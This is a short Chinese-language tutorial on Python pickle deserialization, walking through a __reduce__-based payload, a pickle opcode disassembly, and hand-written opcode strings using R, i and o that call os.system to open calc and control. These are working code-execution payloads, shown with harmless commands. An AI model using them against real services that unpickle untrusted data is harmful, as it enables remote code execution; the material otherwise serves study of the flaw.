Python Pickle反序列化
参考文章:https://zhuanlan.zhihu.com/p/610446124
简单RCE
使用__reduce__
方法可以实现简单的RCE
import pickle
class Test:
def __reduce__(self):
return (__import__("os").system),("calc",)
T = Test()
data=pickle.dumps(T)
但是只能执行一个函数
字节码格式分析
import pickle
class Test:
def __init__(self):
self.text="Text"
T = Test()
data=pickle.dumps(T)
print(data)
b'\x80\x04\x95*\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94\x8c\x04text\x94\x8c\x04Text\x94sb.'
0: \x80 PROTO 4 # pickle协议版本
2: \x95 FRAME 42 # 接下来的42字节数据为一个帧
11: \x8c SHORT_BINUNICODE '__main__' # __main__是包名
21: \x94 MEMOIZE (as 0) # 将上一个值标记为一个内部缓存的值,编号为0
22: \x8c SHORT_BINUNICODE 'Test' # 类名Test
28: \x94 MEMOIZE (as 1) # 将上一个值标记为缓存的值,编号为1
29: \x93 STACK_GLOBAL # 这个操作表示要加载一个全局变量
30: \x94 MEMOIZE (as 2) # 将上一个值标记为缓存的值,编号为2
31: ) EMPTY_TUPLE # 创建一个空元组
32: \x81 NEWOBJ # 这个操作创建一个新的对象
33: \x94 MEMOIZE (as 3) # 将上一个值标记为缓存的值,编号为3
34: } EMPTY_DICT # 创建一个空字典
35: \x94 MEMOIZE (as 4) # 将上一个值标记为缓存的值,编号为4
36: \x8c SHORT_BINUNICODE 'text' # 属性名 text
42: \x94 MEMOIZE (as 5) # 将上一个值标记为缓存的值,编号为5
43: \x8c SHORT_BINUNICODE 'Text' # 属性值 Text
49: \x94 MEMOIZE (as 6) # 将上一个值标记为缓存的值,编号为6
50: s SETITEM # 这个操作将前两个缓存的值5和6作为键值对添加到4中
51: b BUILD # 将3作为构造对象时的参数
52: . STOP # 停止反序列化
再来看一下弹计算机用的Opcode
0: \x80 PROTO 4
2: \x95 FRAME 28
11: \x8c SHORT_BINUNICODE 'nt'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'calc'
33: \x94 MEMOIZE (as 3)
34: \x85 TUPLE1
35: \x94 MEMOIZE (as 4)
36: R REDUCE
37: \x94 MEMOIZE (as 5)
38: . STOP
手搓字节码
与函数执行有关的操作符有3个R
,i
,o
c
可以用来import
一个库
字节码的解析其实就是利用栈,和数据结构里面学的差不多
手搓一个可以弹计算器的
opcode='''cos
system
(S'calc'
tR.'''
import pickle
pickle.loads(opcode.encode())
这里使用R
opcode='''(S'calc'
ios
system
.'''
import pickle
pickle.loads(opcode.encode())
i
opcode='''(cos
system
S'calc'
o.'''
import pickle
pickle.loads(opcode.encode())
o
接下来进行多个函数的执行
opcode='''(cos
system
S'calc'
o(cos
system
S'control'
o.'''
import pickle
pickle.loads(opcode.encode())
这样就可以了